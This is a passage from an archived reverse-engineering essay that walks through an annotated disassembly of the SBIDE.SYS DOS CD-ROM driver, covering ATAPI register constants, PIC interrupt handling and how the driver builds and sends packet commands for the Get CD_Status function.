AER_SK_DATA_PROTECT 0x70 /* reading read-protected sector */
AER_SK_ABORTED_COMMAND 0xb0 /* command aborted, try again */
AER_SK_MISCOMPARE 0xe0 /* data did not match the medium */
AER_BITS "\20\4mchg\3abort\2eom\1ili"

/*
* Feature register bits
*/
ARF_DMA 0x01 /* transfer data via DMA */
ARF_OVERLAP 0x02 /* release the bus until completion */

/*
* Interrupt reason register bits
*/
ARI_CMD 0x01 /* command(1) or data(0) */
ARI_IN 0x02 /* transfer to(1) or from(0) the host */
ARI_RELEASE 0x04 /* bus released until completion */

/*
* Drive register values
*/
ARD_DRIVE0 0xa0 /* drive 0 selected */
ARD_DRIVE1 0xb0 /* drive 1 selected */

/*
* ATA commands
*/
ATAPIC_IDENTIFY 0xa1 /* get drive parameters */
ATAPIC_PACKET 0xa0 /* execute packet command */

/*
* Mandatory packet commands
*/

http://www.instinct.org/fravia/rcgcd.htm (22 of 46) [2/7/2001 3:21:46 PM]


rcgcd

ATAPI_TEST_UNIT_READY 0x00 /* check if the device is ready */


ATAPI_REQUEST_SENSE 0x03 /* get sense data */
ATAPI_START_STOP 0x1b /* start/stop the media */
ATAPI_PREVENT_ALLOW 0x1e /* prevent/allow media removal */
ATAPI_READ_CAPACITY 0x25 /* get volume capacity */
ATAPI_READ_BIG 0x28 /* read data */
ATAPI_READ_TOC 0x43 /* get table of contents */
ATAPI_READ_SUBCHANNEL 0x42 /* get subchannel info */
ATAPI_MODE_SELECT_BIG 0x55 /* set device parameters */
ATAPI_MODE_SENSE 0x5a /* get device parameters */
ATAPI_PLAY_CD 0xb4 /* universal play command */

/*
* Optional packet commands
*/
ATAPI_PLAY_MSF 0x47 /* play by MSF address */
ATAPI_PAUSE 0x4b /* stop/start audio operation */

/*
* Nonstandard packet commands
*/
ATAPI_PLAY_TRACK 0x48 /* play by track number */
ATAPI_PLAY_BIG 0xa5 /* play by logical block address */

And here more help of out friends:

And now, lets disasembler my SBIDE.SYS file and follow the


code when Function 3 and subfunction 6 is called
(Get CD_Status):

0000 FFFFFFFF BYTE 4 DUP(0ffh)


;Here DOS will put the next driver
;memory location.

0004 00C8 add al , cl


0006 C700D200 mov word ptr [bx+si], 00D2
;C700 is the Est. Routine offset
;D200 is the Int. Routine offset

000A 3132 xor [bp+si], si


000C 3334 xor si, [si]
000E 353637 xor ax, 3736
0011 3800 cmp [bx+si], al
0013 0000 add [bx+si], al
0015 0100 add [bx+si], ax
0017 000000 BYTE 3 DUP(0)

http://www.instinct.org/fravia/rcgcd.htm (23 of 46) [2/7/2001 3:21:46 PM]


rcgcd

001A B704 mov bh, 04 ;Jump table


001C B704 mov bh, 04
001E B704 mov bh, 04
0020 6802B7 push B702 ;This is jmp for
;function 3. (0268h)
0023 04B7 add al, B7
0025 04B7 add al, B7
0027 048F add al, 8F
0029 04B7 add al, B7
002B 04B7 add al, B7
002D 04B7 add al, B7
002F 04B7 add al, B7
0031 0488 add al, 88
0033 029904A8 add bl , [bx+di+A804]
0037 04B7 add al, B7
0039 04B7 add al, B7
003B 041B add al, 1B
003D 01B7042F add [bx+2F04], si
0041 013D add [di], di
0043 016C01 add [si+01], bp
0046 DE01 fiadd word ptr [bx+di]
0048 B704 mov bh, 04
004A B704 mov bh, 04
004C 40 inc ax
004D 029802A3 add bl , [bx+si+A302]
0051 02B704B7 add dh, [bx+B704]
0055 04C9 add al, C9
0057 02CE add cl , dh

0059 02D3 add dl, bl ;jmp subfunction 6


005B 020E03EB add cl , [EB03] ; (02D3h)

005F 0229 add ch, [bx+di]


0061 036203 add sp, [bp+si+03]
0064 6D insw
0065 037803 add di, [bx+si+03]
0068 83038E add word ptr [bp+di], FF8E
006B 0399030B add bx, [bx+di+0B03]
006F 0439 add al, 39
0071 044D add al, 4D
0073 0462 add al, 62
0075 047B add al, 7B
0077 0485 add al, 85
0079 0400 add al, 00
007B 00000000000000000000 BYTE 10 DUP(0)
0085 00000000000000000000 BYTE 10 DUP(0)
008F 00000000000000000000 BYTE 10 DUP(0)
0099 00000000000000000000 BYTE 10 DUP(0)
00A3 00000000000000000000 BYTE 10 DUP(0)
00AD 00000000000000000000 BYTE 10 DUP(0)
00B7 00000000000000000000 BYTE 10 DUP(0)
00C1 000000000000 BYTE 6 DUP(0)

http://www.instinct.org/fravia/rcgcd.htm (24 of 46) [2/7/2001 3:21:46 PM]


rcgcd

00C7 2E891E1600 mov cs:[0016], bx ;Strat. Rout.


00CC 2E8C061800 mov cs:[0018], es
00D1 CB retf

00D2 50 push ax ;Interrupt Routine


00D3 53 push bx
00D4 51 push cx
00D5 52 push dx
00D6 56 push si
00D7 57 push di
00D8 55 push bp
00D9 1E push ds
00DA 06 push es
00DB 2EC51E1600 lds bx, cs:[0016]
00E0 8A4701 mov al, [bx+01] ;Subunit number
00E3 98 cbw
00E4 2EA37C00 mov word ptr cs:[007C],ax
;Subunit
00E8 BE1A00 mov si, 001A ;Init table jmp
00EB 8A4702 mov al , [bx+02] ;Funct. number
00EE 3C10 cmp al, 10
00F0 760D jbe 00FF
00F2 3C80 cmp al, 80
00F4 7206 jb 00FC
00F6 2C6F sub al, 6F
00F8 3C19 cmp al, 19
00FA 7603 jbe 00FF
00FC E9B803 jmp 04B7

00FF 98 cbw ;Functions 0-10h


0100 D1E0 shl ax, 01 ; ax=3*2=6h
0102 03F0 add si, ax ;si=1A+6=20h
0104 0BC0 or ax, ax ;is ax=0?
0106 7403 je 010B ;yes jmp init
0108 2EFF24 jmp word ptr cs:[si] ;jmp 0268
010B B001 mov al, 01
010D 2E86067E00 xchg cs:[007E], al
0112 0AC0 or al , al
0114 75F2 jne 0108
0116 EA0B060000 jmp 0000:060B

011B E8BD03 call 04DB


011E 0BC9 or cx, cx
0120 7502 jne 0124
0122 EB05 jmp 0129
.
.
.
0268 BE4E00 mov si, 004E ;jmp base
026B B20F mov dl, 0F
026D C47F0E les di, [bx+0E] ;More_Info_Block
0270 268A05 mov al , es:[di] ;Subfunction 6
0273 47 inc di

http://www.instinct.org/fravia/rcgcd.htm (25 of 46) [2/7/2001 3:21:46 PM]


rcgcd

0274 38D0 cmp al , dl


0276 7603 jbe 027B
0278 E93C02 jmp 04B7

027B 98 cbw
027C D1E0 shl ax, 01 ax=6*2=0Ch
027E 03F0 add si, ax si=4E+0C=5Ah
0280 2E8B1E7C00 mov bx, cs:[007C] ;Subunit
0285 2EFF24 jmp word ptr cs:[si] ;jmp 2D3h

0288 BE6E00 mov si, 006E


028B B205 mov dl, 05
028D EBDE jmp 026D
028F B80003 mov ax, 0300
0292 E8C302 call 0558
0295 E92902 jmp 04C1
.
.
.
02D3 06 push es
02D4 57 push di
02D5 E8B129 call 2C89
02D8 5F pop di
02D9 07 pop es
02DA 7209 jb 02E5
02DC 268905 mov es:[di], ax
02DF 26895502 mov es:[di+02], dx
02E3 EBAA jmp 028F
02E5 B80281 mov ax, 8102
02E8 E9D901 jmp 04C4
.
.
.
2C89 06 push es
2C8A 33C9 xor cx, cx
2C8C 0E push cs
2C8D 07 pop es
2C8E 53 push bx
2C8F 51 push cx

2C90 B02A mov al, 2A


2C92 2E80BFFA0700 cmp byte ptr cs:[bx+07FA], 00
2C98 7402 je 2C9C ;if subunit=0 =>al=2Ah
2C9A B00F mov al, 0F ;else al=>0Fh

2C9C B420 mov ah, 20 ;Set this values


2C9E BB2829 mov bx, 2928 ;always
2CA1 B91800 mov cx, 0018 ;why???

2CA4 9A20060000 call 0000:0620


;(at cs:620 we have a jmp 085E ==>
Get_CD_Status PROC??)

2CA9 59 pop cx

http://www.instinct.org/fravia/rcgcd.htm (26 of 46) [2/7/2001 3:21:46 PM]


rcgcd

2CAA 5B pop bx
2CAB 7303 jnb 2CB0 ;any error?
2CAD E9E100 jmp 2D91 ;yes
2CB0 2E80BFFA0700 cmp byte ptr cs:[bx+07FA], 00
2CB6 7502 jne 2CBA
2CB8 EB65 jmp 2D1F

;This part sets the CD_Status bits


;according to the standart order.

2CBA 2EA02A29 mov al, cs:[292A]


2CBE 3C70 cmp al, 70
2CC0 7504 jne 2CC6
2CC2 81C90008 or cx, 0800
2CC6 3C71 cmp al, 71
2CC8 7504 jne 2CCE
2CCA 81C90108 or cx, 0801
2CCE 2EA03429 mov al, cs:[2934]
2CD2 81C90010 or cx, 1000
2CD6 A810 test al, 10
2CD8 7504 jne 2CDE
2CDA 81E1FFEF and cx, EFFF
2CDE 81C90004 or cx, 0400
2CE2 A802 test al, 02
2CE4 7504 jne 2CEA
2CE6 81E1FFFB and cx, FBFF
2CEA 83C910 or cx, 0010
2CED A801 test al, 01
2CEF 7503 jne 2CF4
2CF1 83E1EF and cx, FFEF
2CF4 2EA03529 mov al, cs:[2935]
2CF8 81C90001 or cx, 0100
2CFC A818 test al, 18
2CFE 7504 jne 2D04
2D00 81E1FFFE and cx, FEFF
2D04 83C902 or cx, 0002
2D07 2EF606342980 test byte ptr cs:[2934], 80
2D0D 741C je 2D2B
2D0F 83E1FD and cx, FFFD
2D12 2EF606362902 test byte ptr cs:[2936], 02
2D18 7511 jne 2D2B
2D1A 83C902 or cx, 0002
2D1D EB67 jmp 2D86
2D1F 2EA02A29 mov al, cs:[292A]
2D23 3C70 cmp al, 70
2D25 7504 jne 2D2B
2D27 81C90008 or cx, 0800
2D2B 3C71 cmp al, 71
2D2D 7504 jne 2D33
2D2F 81C90108 or cx, 0801
2D33 2EA03529 mov al, cs:[2935]
2D37 81C90010 or cx, 1000
2D3B A804 test al, 04
2D3D 7504 jne 2D43
2D3F 81E1FFEF and cx, EFFF

http://www.instinct.org/fravia/rcgcd.htm (27 of 46) [2/7/2001 3:21:46 PM]


rcgcd

2D43 2EA03429 mov al, cs:[2934]


2D47 81C90004 or cx, 0400
2D4B A810 test al, 10
2D4D 7504 jne 2D53
2D4F 81E1FFFB and cx, FBFF
2D53 83C910 or cx, 0010
2D56 A801 test al, 01
2D58 7503 jne 2D5D
2D5A 83E1EF and cx, FFEF
2D5D 2EA03729 mov al, cs:[2937]
2D61 81C90001 or cx, 0100
2D65 A803 test al, 03
2D67 7504 jne 2D6D
2D69 81E1FFFE and cx, FEFF
2D6D 83C902 or cx, 0002
2D70 2EF606362901 test byte ptr cs:[2936], 01
2D76 740E je 2D86
2D78 83E1FD and cx, FFFD
2D7B 2EF606362902 test byte ptr cs:[2936], 02
2D81 7503 jne 2D86
2D83 83C902 or cx, 0002
2D86 81C98402 or cx, 0284
2D8A 8BC1 mov ax, cx ;ax=cd_status word
2D8C 33D2 xor dx, dx
2D8E F8 clc
2D8F 07 pop es
2D90 C3 ret

Let's put a bpx at call interrupt_routine of our program,


Sice must stop at 0001:00D2 (we are executing a get
cd_status command) and stepping a little through the code we
will arrive at the beginning of these function:

Get_CD_Status Proc ??? (Later we will see this is a common


procedure that uses the registers
to perform different operations)

085E FC cld
085F 1E push ds
0860 06 push es
0861 55 push bp
0862 53 push bx
0863 51 push cx
0864 52 push dx
0865 57 push di
0866 56 push si
0867 0E push cs
0868 1F pop ds
0869 E8410E call 16AD ;Save Registers

http://www.instinct.org/fravia/rcgcd.htm (28 of 46) [2/7/2001 3:21:46 PM]


rcgcd

086C E86E10 call 18DD ;EOI if posible


086F 1E push ds
0870 B84000 mov ax, 0040
0873 8ED8 mov ds, ax
0875 BB8E00 mov bx, 008E
0878 80277F and byte ptr [bx], 7F ;Clears
;byte #7
087B 1F pop ds
087C C606EC0700 mov byte ptr [07EC], 00
0881 C606ED0701 mov byte ptr [07ED], 01 ;Driver
;in use
0886 E87110 call 18FA ;Store IRQ Mask
0889 E8DD0F call 1869 ;Enable CD IRQ
088C C706E8070000 mov word ptr [07E8], 0000
0892 C606C30600 mov byte ptr [06C3], 00
0897 1E push ds
0898 07 pop es

0899 FC cld ;Clears buffer


089A B90C00 mov cx, 000C ;where CD will
089D BF3C06 mov di, 063C ;store it status
08A0 B000 mov al, 00
08A2 F3AA repz stosb

08A4 8B1E7C00 mov bx, [007C]


08A8 D1E3 shl bx, 01
08AA 8B974C07 mov dx, [bx+074C] ;Get IO base
;(3F6h)
08AE B008 mov al, 08
08B0 EE out dx, al ; ????

08B1 8B972C07 mov dx, [bx+072C] ;Get IO base


;(1F6h)
08B5 8A879407 mov al, [bx+0794] ;Get drive
;(B0h)=>1
08B9 EE out dx, al ; Select drive 1

08BA A02706 mov al, [0627] ;Get initial al


(see call 16AD)
08BD D0E0 shl al, 01 ;Function*2
;20h*2=40h
08BF 8D3E1208 lea di, [0812] ;Get Jmp base
08C3 32E4 xor ah, ah ;ah=0
08C5 03F8 add di, ax ;Get Jmp address
;40h+812h=852h

08C7 FF25 jmp word ptr [di] ;Jump 1383h


;this is the point where
;different tasks are done.
08C9 32E4 xor ah, ah
08CB F8 clc
08CC 9C pushf
08CD 50 push ax
08CE E83C10 call 190D ;Restore Old IRQ Mask
08D1 58 pop ax

http://www.instinct.org/fravia/rcgcd.htm (29 of 46) [2/7/2001 3:21:46 PM]


rcgcd

08D2 9D popf
08D3 2EC606ED0700 mov byte ptr cs:[07ED],00;Driver
;Free
08D9 FB sti
08DA 5E pop si
08DB 5F pop di
08DC 5A pop dx
08DD 59 pop cx
08DE 5B pop bx
08DF 5D pop bp
08E0 07 pop es
08E1 1F pop ds
08E2 CB retf

0842 81 0F E3 08 80 0B E3 08 E3 08 72 13 22 0E 6F 0F
0852 83 13 37 14 77 10 13 15 5A 15 BE 15 FC
^^^^^

Get_CD_Status ENDP ???

Now, we must try to discover what does mean every byte and
what action performs every call, and then, following the
Fravia's advices we will use our Word Processor and we will
replace numbers with letters.

call 16AD ===> Save Registers

16AD 88262706 mov [0627], ah


16B1 A22806 mov byte ptr [0628], al
16B4 882E2906 mov [0629], ch
16B8 880E2A06 mov [062A], cl
16BC 88362B06 mov [062B], dh
16C0 88162C06 mov [062C], dl
16C4 891E2306 mov [0623], bx
16C8 8C062506 mov [0625], es
16CC 893E2F06 mov [062F], di
16D0 89362D06 mov [062D], si
16D4 C3 ret

call 18DD ==> Get PIC Interrupt Service Register

18DD FA cli
18DE 50 push ax
18DF B00B mov al, 0B
18E1 E6A0 out A0, al ;Next read
;give me the
;ISR register
18E3 EB00 jmp 18E5 ;Give time
18E5 EB00 jmp 18E7 ;to PIC
18E7 E4A0 in al, A0 ;Get ISR

http://www.instinct.org/fravia/rcgcd.htm (30 of 46) [2/7/2001 3:21:46 PM]


rcgcd

18E9 A810 test al, 10 ;Is IRQ.


;in service (CD)
18EB 740A je 18F7 ;Yes, do nothing
18ED B020 mov al, 20 ;EOI
18EF E6A0 out A0, al ;
18F1 EB00 jmp 18F3 ;Give time
18F3 EB00 jmp 18F5 ;to PIC
18F5 E620 out 20, al ;EOI
18F7 58 pop ax
18F8 FB sti
18F9 C3 ret

Bitfields for PIC output control word OCW3:


Bit(s) Description
7 reserved (0)
6-5 special mask
0x no operation
10 reset special mask
11 set special mask mode
4-3 reserved (01 - signals OCW3)
2 poll command
1-0 function
0x no operation
10 read interrupt request register on next read
from PORT 0020h
11 read interrupt in-service register on next read
from PORT 0020h

Remember that 0Bh=00001011b => 0 00 01 0 11

0=Reserved
00=no operation
01=OCW3
0=no polling command
11=read interrupt in service register on next read
of port A0h or 20h.

#10h=00010000==> CD-ROM

Master Slave

bit #0 Timer Real Time Clock


bit #1 Keyboard Free
bit #2 Real Time Clock Free
bit #3 2nd Serial Port Free (usually SB or CD)
bit #4 1st Serial Port Free (usually SB or CD)
bit #5 2nd Paral. Port Math Coprocessor
bit #6 Floppy disk Hard disk
bit #7 1st Paral. Port Free

Bitfields for PIC output control word OCW2:

http://www.instinct.org/fravia/rcgcd.htm (31 of 46) [2/7/2001 3:21:46 PM]


rcgcd

Bit(s) Description
7-5 operation
000 rotate in auto EOI mode (clear)
001 (WORD_A) nonspecific EOI
010 (WORD_H) no operation
011 (WORD_B) specific EOI
100 (WORD_F) rotate in auto EOI mode (set)
101 (WORD_C) rotate on nonspecific EOI command
110 (WORD_E) set priority command
111 (WORD_D) rotate on specific EOI command
4-3 reserved (00 - signals OCW2)
2-0 interrupt request to which the command applies
(only used by WORD_B, WORD_D, and WORD_E)

And 20h=00100000 ==> 001 00 000

001=nonspecific EOI (end of interruption)


00=OCW2
000=Not used here

call 18FA ==> Get master and slave interrupt mask and stores
them at [6C9] and [6CA]

18FA FA cli
18FB 50 push ax
18FC E421 in al, 21 ;Get Master I.M.
18FE 2EA2C906 mov byte ptr cs:[06C9], al
1902 EB00 jmp 1904 ;Timing
1904 E4A1 in al, A1 ;Get Slave I.M.
1906 2EA2CA06 mov byte ptr cs:[06CA], al
190A 58 pop ax
190B FB sti
190C C3 ret

call 1869 ==> Enable CD interrupts

1869 50 push ax
186A 53 push bx
186B 51 push cx
186C 52 push dx
186D FA cli
186E E4A1 in al, A1 ;Get slave I.M.
1870 8AE0 mov ah, al
1872 EB00 jmp 1874
1874 E421 in al, 21 ;Get master I.M.
1876 2E8B1E7C00 mov bx, cs:[007C] ;Get Subunit
187B D1E3 shl bx, 01 ;Subunit*2
187D 2E8B97CC06 mov dx,cs:[bx+06CC] ;Get IO base
;for this

http://www.instinct.org/fravia/rcgcd.htm (32 of 46) [2/7/2001 3:21:46 PM]


rcgcd

;subunit
;stored at
;init fase
1882 E81000 call 1895 ;Get CD IRQ
1885 0BC1 or ax, cx ;and enable it
1887 E621 out 21, al ;Set Master IRQ
1889 86E0 xchg al , ah
188B EB00 jmp 188D
188D E6A1 out A1, al ;Set Slave IRQ
188F FB sti
1890 5A pop dx
1891 59 pop cx
1892 5B pop bx
1893 58 pop ax
1894 C3 ret

call 1895 ==> Get CD Interrupt

1895 56 push si
1896 B90400 mov cx, 0004
1899 BEC407 mov si, 07C4
189C 2E3B14 cmp dx, cs:[si] ;dx=1F0h
189F 7408 je 18A9 ;Are equal?
18A1 83C605 add si, 0005 ;No, next posible
;IO base and Int.
18A4 E2F6 loop 189C
18A6 5E pop si
18A7 F9 stc
18A8 C3 ret
18A9 2E8B4C03 mov cx, cs:[si+03] ;Store IRQ
;for CD
18AD 5E pop si
18AE F8 clc
18AF C3 ret

And these are the bytes stored in the file:

(Buffer where the driver will store some important


values).

0623 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0633 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0643 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0653 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0663 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0673 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0683 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0693 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06A3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06B3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

http://www.instinct.org/fravia/rcgcd.htm (33 of 46) [2/7/2001 3:21:46 PM]


rcgcd

0691 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
069B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0691 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
069B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.
.
07C4 F0 01 0E 00 40 70 01 0F 00 80 E8 01 0B 00 08 68
07D4 01 0A 00 04 00 00 00 00 00 00 00 00 00 00 00 00
07E4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0812 0D 0B E3 08 A9 0D E3 08 E3 08 E3 08 81 0C E3 08
0822 34 0E 93 0F 7E 10 9A 10 E8 10 E3 08 E3 08 03 11

call 1895 ==> Restore Old IRQ Mask (see Call 18FA)

190D FA cli
190E 50 push ax
190F 2EA0C906 mov al, cs:[06C9]
1913 E621 out 21, al
1915 EB00 jmp 1917
1917 2EA0CA06 mov al, cs:[06CA]
191B E6A1 out A1, al
191D 58 pop ax
191E FB sti
191F C3 ret

Jmp 1383 ==> Get_Device_Parameters


(action is defined in registers at entry
at address 85Eh)

1383 C706E8070000 mov word ptr [07E8], 0000


;# bytes??
1389 C6063C065A mov byte ptr [063C], 5A
;Mandatory packet
;get device parameters.

138E A02806 mov al, [0628]


1391 A23E06 mov byte ptr [063E], al
1394 A02906 mov al, [0629]
1397 A24306 mov byte ptr [0643], al
139A A02A06 mov al, [062A]
139D A24406 mov byte ptr [0644], al
13A0 8A262906 mov ah, [0629]
13A4 A02A06 mov al, [062A]
13A7 A3E607 mov word ptr [07E6], ax
13AA E86204 call 180F ;Create mandatory

http://www.instinct.org/fravia/rcgcd.htm (34 of 46) [2/7/2001 3:21:46 PM]


rcgcd

;packet command

13AD E82503 call 16D5 ;Send mandatory packet

13B0 727A jb 142C


13B2 8B3E2306 mov di, [0623]
13B6 8E062506 mov es, [0625]
13BA E8B603 call 1773 ;Is command finished?
13BD 7275 jb 1434

13BF 8B97EC06 mov dx, [bx+06EC] ;dx=1F2h


13C3 EC in al, dx ;Get Int. reason
13C4 3C02 cmp al, 02 ;Was int. caused by
; a transfer?
13C6 7403 je 13CB
13C8 E98AF6 jmp 0A55

13CB 8B973C07 mov dx, [bx+073C] ;dx=1F7h


13CF EC in al, dx
13D0 A801 test al, 01 ;Any error?
13D2 7403 je 13D7
13D4 E929F5 jmp 0900

13D7 8B971C07 mov dx, [bx+071C] ;dx=1F5h


13DB EC in al, dx ;Get #bytes to receive
13DC 8AE0 mov ah, al
13DE 4A dec dx
13DF EC in al, dx
13E0 8BC8 mov cx, ax
13E2 010EE807 add [07E8], cx

13E6 FC cld
13E7 D1E9 shr cx, 01 ;bytes->words
13E9 8B97CC06 mov dx, [bx+06CC] ;Get base 3F7h
13ED F36D repz insw ;Get CD_Status bytes

13EF A1E807 mov ax, word ptr [07E8]


13F2 3906E607 cmp [07E6], ax ;correct #bytes
;received?
13F6 75C2 jne 13BA
13F8 E87803 call 1773 ;Dis/Enable CD irq
13FB 7237 jb 1434
13FD 53 push bx
13FE D1EB shr bx, 01
1400 80BFFA0700 cmp byte ptr [bx+07FA], 00
1405 5B pop bx
1406 740C je 1414
1408 8B973C07 mov dx, [bx+073C]
140C EC in al, dx
140D A808 test al, 08
140F 740F je 1420
1411 E941F6 jmp 0A55

1414 8B97EC06 mov dx, [bx+06EC]

http://www.instinct.org/fravia/rcgcd.htm (35 of 46) [2/7/2001 3:21:46 PM]


rcgcd

1418 EC in al, dx
1419 3C03 cmp al, 03
141B 7403 je 1420
141D E935F6 jmp 0A55

1420 8B973C07 mov dx, [bx+073C]


1424 EC in al, dx
1425 A801 test al, 01
1427 7408 je 1431
1429 E9D4F4 jmp 0900

142C 7406 je 1434


142E E9BAF4 jmp 08EB

1431 E995F4 jmp 08C9


1434 E9BCF4 jmp 08F3

call 180F ==> Create a mandatory packet command (M.P.C.) and


store it at 648h.

180F FC cld
1810 BF4806 mov di, 0648 ;M.P.C.
1813 0E push cs
1814 07 pop es
1815 B000 mov al, 00
1817 AA stosb
1818 B000 mov al, 00
181A AA stosb
181B AA stosb
181C A1E607 mov ax, word ptr [07E6]
181F AA stosb
1820 86E0 xchg al , ah
1822 AA stosb
1823 8A879407 mov al ,[bx+0794] ;Drive (B0h=1)
1827 AA stosb
1828 B0A0 mov al, A0 ;Command (A0h=execute
;M.P.C.)
182A AA stosb
182B C3 ret

The result of this action is:

0648 00 00 00 ?? ?? B0 A0

where ???? is stored at [7E6] and you could see how [7E6] is
a copy of the memory location word [629]==> CX at entry (see
call 16AD).

call 16D5 ==> Send Mandatory packet

http://www.instinct.org/fravia/rcgcd.htm (36 of 46) [2/7/2001 3:21:46 PM]


rcgcd

16D5 8B1E7C00 mov bx, [007C];get subunit


16D9 D1E3 shl bx, 01
16DB E8DD00 call 17BB ;Is drive busy?
16DE 7244 jb 1724 ;Any Error?

16E0 E84901 call 182C ;Initialize driver and


;prepare it to receive
;the M.P.C.

16E3 80BFA40700 cmp byte ptr [bx+07A4], 00


16E8 7502 jne 16EC
16EA EB19 jmp 1705

16EC E88400 call 1773 ;Is command finished?


16EF 7233 jb 1724
16F1 8B97EC06 mov dx, [bx+06EC]
16F5 EC in al, dx
16F6 3C01 cmp al, 01
16F8 752E jne 1728
16FA 8B973C07 mov dx, [bx+073C]
16FE EC in al, dx
16FF A808 test al, 08
1701 7425 je 1728
1703 EB05 jmp 170A

1705 E82400 call 172C ;Prepared to data


;request?
1708 721A jb 1724
170A 8B973C07 mov dx, [bx+073C]
170E EC in al, dx
170F A880 test al, 80 ;Is busy?
1711 7402 je 1715 ;No, send
1713 EBF5 jmp 170A ;Yes, try again

1715 FC cld
1716 BE3C06 mov si, 063C ;M.P.C. add.
1719 B90600 mov cx, 0006 ;Send 0Ch
;bytes
;(63Ch-647h)
171C 8B97CC06 mov dx, [bx+06CC];dx=1F0h
1720 F3 repz
1721 6F outsw
1722 F8 clc
1723 C3 ret

1724 32E4 xor ah, ah


1726 F9 stc ;Return with error
1727 C3 ret

1728 0BD2 or dx, dx


172A F9 stc
172B C3 ret

http://www.instinct.org/fravia/rcgcd.htm (37 of 46) [2/7/2001 3:21:46 PM]


rcgcd

call 17BB ==> Is drive busy?

17BB C706C4060200 mov word ptr [06C4], 0002


17C1 2E803ECB0688 cmp byte ptr cs:[06CB], 88
;at init fase, we can set the drq
;type, on depending of this we set
;different timeouts values (I need
;more info of this phase)

17C7 7406 je 17CF

17C9 C706C406B400 mov word ptr [06C4],00B4 ;timeout


;value
17CF E8F101 call 19C3 ;Set timeout
17D2 E81202 call 19E7 ;Is timeout finished?
17D5 740B je 17E2 ;Yes, return with error
;we are tired of waiting

17D7 8B973C07 mov dx, [bx+073C] ;Get inmediate


17DB EC in al, dx ;status
17DC A880 test al, 80 ;Is busy?
17DE 75F2 jne 17D2 ;Yes, give it more time
17E0 F8 clc
17E1 C3 ret

17E2 F9 stc
17E3 C3 ret

call 19C3 ==> Set Timeout (get bios ticks counter, adds
the timeout value and stores it at
[6C4])

19C3 9C pushf
19C4 50 push ax
19C5 53 push bx
19C6 1E push ds
19C7 BB4000 mov bx, 0040
19CA 8EDB mov ds, bx
19CC BB6C00 mov bx, 006C ;Bios ticks
;count
19CF 8B07 mov ax, [bx]
19D1 8B5F02 mov bx, [bx+02]
19D4 1F pop ds
19D5 891EC606 mov [06C6], bx
19D9 0106C406 add [06C4], ax
19DD 7304 jnb 19E3
19DF FF06C606 inc word ptr [06C6]
19E3 5B pop bx
19E4 58 pop ax
19E5 9D popf
19E6 C3 ret

http://www.instinct.org/fravia/rcgcd.htm (38 of 46) [2/7/2001 3:21:46 PM]


rcgcd

call 19E7 ==> Is timeout finished? (compare Bios ticks


counter with previously stored value)

19E7 50 push ax
19E8 53 push bx
19E9 1E push ds
19EA B84000 mov ax, 0040
19ED 8ED8 mov ds, ax
19EF BB6C00 mov bx, 006C
19F2 8B07 mov ax, [bx]
19F4 8B5F02 mov bx, [bx+02]
19F7 1F pop ds
19F8 3B1EC606 cmp bx, [06C6]
19FC 7208 jb 1A06
19FE 3B06C406 cmp ax, [06C4]
1A02 7202 jb 1A06
1A04 33C0 xor ax, ax ;Time finished
1A06 5B pop bx
1A07 58 pop ax
1A08 C3 ret

call 1773 ==> Is command finished?

1773 53 push bx
1774 E8C600 call 183D ;Disable CD irq
1777 C706C406B400 mov word ptr [06C4], 00B4
177D E84302 call 19C3 ;Set timeout
1780 E86402 call 19E7 ;Is timeout finished?
1783 7430 je 17B5
1785 F606EC0701 test byte ptr [07EC], 01
178A 751E jne 17AA
178C E82101 call 18B0 ;Get CD irq number
178F 3C0E cmp al, 0E ;Is 0Eh?
1791 75ED jne 1780

1793 1E push ds
1794 B84000 mov ax, 0040
1797 8ED8 mov ds, ax
1799 BB8E00 mov bx, 008E
179C F60780 test byte ptr [bx], 80
;irq sets this bit when the
;command is finished
179F 7406 je 17A7
17A1 80277F and byte ptr [bx], 7F ;Clear it
;for future uses.

17A4 1F pop ds
17A5 EB03 jmp 17AA
17A7 1F pop ds
17A8 EBD6 jmp 1780 ;Give it more time
;to end the command

http://www.instinct.org/fravia/rcgcd.htm (39 of 46) [2/7/2001 3:21:46 PM]


rcgcd

17AA C606EC0700 mov byte ptr [07EC], 00


17AF E8B700 call 1869 ;Enable CD irq
17B2 5B pop bx
17B3 F8 clc ;No error returned
17B4 C3 ret

17B5 E8B100 call 1869 ;Enable CD irq


17B8 5B pop bx
17B9 F9 stc ;Error returned
17BA C3 ret

call 183D ==> Disable CD irq

183D 50 push ax
183E 53 push bx
183F 51 push cx
1840 52 push dx
1841 FA cli

1842 E4A1 in al, A1


1844 8AE0 mov ah, al
1846 EB00 jmp 1848
1848 E421 in al, 21

184A 8B1E7C00 mov bx, [007C] ;subunit


184E D1E3 shl bx, 01
1850 8B97CC06 mov dx, [bx+06CC]
1854 E83E00 call 1895 ;Get CD irq

1857 F7D1 not cx


1859 23C1 and ax, cx ;and clear it
185B E621 out 21, al ;send irq mask
185D 86E0 xchg al , ah
185F EB00 jmp 1861
1861 E6A1 out A1, al
1863 FB sti
1864 5A pop dx
1865 59 pop cx
1866 5B pop bx
1867 58 pop ax
1868 C3 ret

call 18D0 ==> Get CD irq number

18B0 56 push si
18B1 53 push bx
18B2 51 push cx
18B3 52 push dx
18B4 2E8B1E7C00 mov bx, cs:[007C] ;Subunit

http://www.instinct.org/fravia/rcgcd.htm (40 of 46) [2/7/2001 3:21:46 PM]


rcgcd

18B9 D1E3 shl bx, 01


18BB 2E8B97CC06 mov dx, cs:[bx+06CC]
18C0 B90400 mov cx, 0004
18C3 BEC407 mov si, 07C4
18C6 2E3B14 cmp dx, cs:[si]
18C9 7408 je 18D3
